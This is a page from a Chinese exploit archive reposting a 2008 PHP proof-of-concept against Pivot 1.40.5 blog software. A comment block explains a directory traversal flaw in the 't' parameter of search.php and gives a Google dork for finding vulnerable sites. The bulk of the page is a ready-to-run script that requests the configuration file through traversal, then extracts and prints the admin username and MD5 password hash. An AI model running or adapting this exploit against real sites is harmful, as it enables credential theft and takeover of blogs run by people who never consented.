首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Pivot 1.40.5 Dreamwind load_template() Credentials Disclosure Exploit
来源:http://retrogod.altervista.org/ 作者:Nine 发布时间:2008-07-01  
<?php
        /*

         Pivot 1.40.5 'Dreamwind' load_template() credentials disclosure exploit

         by Nine:Situations:Group::bookoo

         our site: http://retrogod.altervista.org/
         software site: http://www.pivotlog.net/

         Google dork: "by Pivot - 1.40.5"  +'Dreadwind' -pivotlog.net


         vulnerability:

         search.php - lines 98-109:

         ...
         // Set the template for the tags page
         if (!isset($Pivot_Vars['t']) || empty($Pivot_Vars['t'])) {
     if (isset($Weblogs[$Current_weblog]['extra_template']) && ($Weblogs[$Current_weblog]['extra_template']!="") ) {
    $template = $Weblogs[$Current_weblog]['extra_template'];
     } else {
$template = $Weblogs[$Current_weblog]['archive_template'];
     }
         } else {
      $template = $Pivot_Vars['t'];
         }

         $template_html = load_template($template);
         ...

         't' argument is passed to load_template() function without checks

         see load_template() function in /modules/module_parser.php - lines 778-797

         ...
         function load_template($basename) {
     global $template_cache, $Paths;

     $filename = $Paths['templates_path'].$basename;

     if (isset($template_cache[$basename])) {
    return $template_cache[$basename];
     } else {

  if (!(file_exists($filename))) {
$filename = $Paths['templates_path']."entrypage_template.html";
}
            $filetext=implode("", file($filename)); // <----------------------------|_ lol !!!

$template_cache[$basename]=$filetext;

return $filetext;
}

        }
        ...

        our argument is passed to a file() function, so, regardless of php settings,
        we can see php files at screen trough directory traversal attacks, including the
        configuration file (pv_cfg_settings.php), which cointains the admin credentials
        (username/md5 hash/sessions...)

        note: 't' can be passed as GET or POST
        ----------------------------------------------------------------------------

        If you think this poc is useful, please help us to improve our equipment and
        donate through the paypal button on our site!
        */

        error_reporting(7);
        $host=$argv[1];
        $path=$argv[2];
        $argv[3] ? $port = (int) $argv[3] : $port = 80;
        $argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]");

        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
        $win ? dl("php_curl.dll") : dl("php_curl.so");

        $url = "http://$host:$port";

        $exploit="t=../pv_cfg_settings.php";

        $header ="POST ".$path."search.php HTTP/1.0\r\n";
        $header.="Host: $host\r\n";
        $header.="Content-Type: application/x-www-form-urlencoded\r\n";
        $header.="Content-Length: ".strlen($exploit)."\r\n";
        $header.="Connection: Close\r\n\r\n";
        $header.=$exploit;

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);


        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }
        // print $data."\n";
        preg_match("/userlevel\|4\|/",$data) ? print("exploit succeeded!") : die("exploit failed!");
        $tmp=explode("user-",$data);$tmpii=explode("!",$tmp[1]);$admin=$tmpii[0];
        print "\n\nadmin user: ".$admin."\n";
        $tmp=explode("pass|",$data);$tmpii=explode("|",$tmp[1]);$hash=$tmpii[0];
        print "\nmd5 hash  : ".$hash."\n";


?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BareNuked CMS 1.1.0 Arbitrary
·AShop Deluxe 4.x (catalogue.ph
·Joomla Component Xe webtv (id)
·busybox uname format string ex
·XnView 1.93.6 for Windows .taa
·his exploit abuses an old bug
·Seagull PHP Framework <= 0.6.4
·PHP-Nuke Platinium <= 7.6.b.5
·PHPmotion <= 2.0 (update_profi
·Joomla Component QuickTime VR
·PHPmotion <= 2.0 (update_profi
·Joomla Component is 1.0.1 Mul
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved